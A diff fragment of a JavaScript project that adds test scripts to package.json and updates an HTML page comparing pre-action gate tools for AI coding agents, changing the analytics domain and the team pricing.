  "test:watcher": "node --test tests/jsonl-watcher.test.js",
295
319
  "test:autoresearch": "node --test tests/autoresearch.test.js",
296
- "test:ops": "node --test tests/adk-consolidator.test.js tests/anthropic-partner-strategy.test.js tests/auto-promote-gates.test.js tests/auto-wire-hooks.test.js tests/claude-skill.test.js tests/codegraph-context.test.js tests/commercial-signals.test.js tests/decision-journal.test.js tests/delegation-runtime.test.js tests/disagreement-mining.test.js tests/failure-diagnostics.test.js tests/gate-stats.test.js tests/github-billing.test.js tests/intervention-policy.test.js tests/markdown-escape.test.js tests/mcp-tools-gates.test.js tests/project-bayes-e2e.test.js tests/project-bayes.test.js tests/rate-limiter.test.js tests/schedule-manager.test.js tests/session-handoff.test.js tests/skill-generator.test.js tests/smart-learning.test.js tests/spike-and-sink.test.js tests/stripe-webhook-route.test.js tests/stripe-webhook-rotation.test.js tests/train-from-feedback.test.js tests/workflow-hardening-sprint.test.js tests/workflow-sentinel.test.js tests/test-suite-parity.test.js tests/a2ui-engine.test.js tests/webhook-delivery.test.js",
320
+ "test:ops": "node --test tests/adk-consolidator.test.js tests/anthropic-partner-strategy.test.js tests/auto-promote-gates.test.js tests/auto-wire-hooks.test.js tests/claude-skill.test.js tests/codegraph-context.test.js tests/commercial-signals.test.js tests/decision-journal.test.js tests/delegation-runtime.test.js tests/disagreement-mining.test.js tests/failure-diagnostics.test.js tests/gate-stats.test.js tests/github-billing.test.js tests/intervention-policy.test.js tests/markdown-escape.test.js tests/mcp-tools-gates.test.js tests/project-bayes-e2e.test.js tests/project-bayes.test.js tests/rate-limiter.test.js tests/schedule-manager.test.js tests/session-handoff.test.js tests/skill-generator.test.js tests/smart-learning.test.js tests/spike-and-sink.test.js tests/stripe-revenue.test.js tests/stripe-webhook-route.test.js tests/stripe-webhook-rotation.test.js tests/train-from-feedback.test.js tests/workflow-hardening-sprint.test.js tests/workflow-sentinel.test.js tests/test-suite-parity.test.js tests/a2ui-engine.test.js tests/webhook-delivery.test.js",
297
321
  "test:session-analyzer": "node --test tests/session-analyzer.test.js",
298
322
  "test:tessl": "node --test tests/tessl-export.test.js",
299
323
  "test:gates": "node --test tests/gate-templates.test.js tests/gates-engine.test.js tests/claim-verification.test.js tests/secret-scanner.test.js tests/prompt-guard.test.js tests/audit-trail.test.js tests/profile-router.test.js tests/workflow-sentinel.test.js tests/docker-sandbox-planner.test.js",
@@ -346,8 +370,12 @@
346
370
  "social:poll:zernio": "node scripts/social-analytics/pollers/zernio.js",
347
371
  "social:publish:zernio": "node scripts/social-analytics/publishers/zernio.js",
348
372
  "test:zernio": "node --test tests/zernio-integration.test.js",
373
+ "test:post-video": "node --test tests/post-video.test.js",
374
+ "test:post-everywhere-instagram": "node --test tests/post-everywhere-instagram.test.js",
349
375
  "test:license": "node --test tests/license.test.js",
350
376
  "test:bot-detector": "node --test tests/bot-detector.test.js",
377
+ "test:bot-detection": "node --test tests/bot-detection.test.js",
378
+ "test:checkout-bot-guard": "node --test tests/checkout-bot-guard.test.js",
351
379
  "test:postinstall": "node --test tests/postinstall.test.js",
352
380
  "test:funnel-invariants": "node --test tests/funnel-invariants.test.js",
353
381
  "test:cli-telemetry": "node --test tests/cli-telemetry.test.js",
@@ -383,7 +411,7 @@
383
411
  "test:per-step-scoring": "node --test tests/per-step-scoring.test.js",
384
412
  "test:weekly-auto-post": "node --test tests/weekly-auto-post.test.js",
385
413
  "test:social-post-hourly": "node --test tests/social-post-hourly.test.js",
386
- "test:social-quality-gate": "node --test tests/social-quality-gate.test.js",
414
+ "test:social-quality-gate": "node --test tests/social-quality-gate.test.js tests/validate-social-post.test.js",
387
415
  "test:a2ui-engine": "node --test tests/a2ui-engine.test.js",
388
416
  "test:gate-satisfy": "node --test tests/gate-satisfy.test.js",
389
417
  "test:money-watcher": "node --test tests/money-watcher.test.js",
@@ -436,7 +464,15 @@
436
464
  "perplexity:mcp-config": "node scripts/perplexity-command-center.js mcp-config",
437
465
  "test:explore": "node --test tests/explore.test.js",
438
466
  "test:cli-schema": "node --test tests/cli-schema.test.js",
439
- "test:cli-agent-experience": "node --test tests/cli-agent-experience.test.js"
467
+ "test:cli-agent-experience": "node --test tests/cli-agent-experience.test.js",
468
+ "test:demo-voiceover": "node --test tests/demo-voiceover.test.js",
469
+ "test:gate-coherence": "node --test tests/gate-coherence.test.js",
470
+ "test:gate-eval": "node --test tests/gate-eval.test.js",
471
+ "test:high-roi": "node --test tests/high-roi.test.js",
472
+ "test:public-static-assets": "node --test tests/public-static-assets.test.js",
473
+ "test:token-savings": "node --test tests/token-savings.test.js",
474
+ "test:workflow-gate-checkpoint": "node --test tests/workflow-gate-checkpoint.test.js",
475
+ "test:lesson-export-import": "node --test tests/lesson-export-import.test.js"
440
476
  },
441
477
  "keywords": [
442
478
  "mcp",
@@ -5,7 +5,7 @@
5
5
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
6
6
  <title>Best Pre-Action Gate Tools for AI Coding Agents (2026 Comparison)</title>
7
7
  <!-- Privacy-friendly analytics by Plausible -->
8
- <script defer data-domain="rlhf-feedback-loop-production.up.railway.app" src="https://plausible.io/js/script.js"></script>
8
+ <script defer data-domain="thumbgate-production.up.railway.app" src="https://plausible.io/js/script.js"></script>
9
9
  <meta name="description" content="Compare pre-action gate tools that prevent AI coding agents from making costly mistakes. ThumbGate vs manual review vs post-hoc fixes.">
10
10
  <meta name="keywords" content="AI agent safety, pre-action gates, AI coding agent comparison, ThumbGate vs manual review, AI agent guardrails, PreToolUse hooks, Claude Code safety, Codex safety, Gemini safety, Cursor rules alternative">
11
11
  <meta property="og:title" content="Best Pre-Action Gate Tools for AI Coding Agents (2026 Comparison)">
@@ -62,7 +62,7 @@
62
62
  "name": "Is ThumbGate free?",
63
63
  "acceptedAnswer": {
64
64
  "@type": "Answer",
65
- "text": "ThumbGate has a free tier that includes local enforcement with 3 daily feedback captures, 5 lesson searches, unlimited recall, blocking, and history-aware lesson distillation. Pro ($19/mo or $149/yr) adds a personal local dashboard and DPO export. Team rollout ($99/seat/mo) adds a shared lesson database and org dashboard."
65
+ "text": "ThumbGate has a free tier that includes local enforcement with 3 daily feedback captures, 5 lesson searches, unlimited recall, blocking, and history-aware lesson distillation. Pro ($19/mo or $149/yr) adds a personal local dashboard and DPO export. Team rollout ($49/seat/mo) adds a shared lesson database and org dashboard."
66
66
  }
67
67
  },
68
68
  {
@@ -287,7 +287,7 @@
287
287
 
288
288
  <div class="card">
289
289
  <h3>Is ThumbGate free?</h3>
290
- <p>ThumbGate has a free tier that includes local enforcement with 3 daily feedback captures, 5 lesson searches, unlimited recall, and pre-action gate blocking. Pro ($19/mo or $149/yr) adds a personal local dashboard and DPO export. Team rollout ($99/seat/mo) adds a shared lesson database and org dashboard.</p>
290
+ <p>ThumbGate has a free tier that includes local enforcement with 3 daily feedback captures, 5 lesson searches, unlimited recall, and pre-action gate blocking. Pro ($19/mo or $149/yr) adds a personal local dashboard and DPO export. Team rollout ($49/seat/mo) adds a shared lesson database and org dashboard.</p>
291
291
  </div>
292
292
 
293
293
  <div class="card">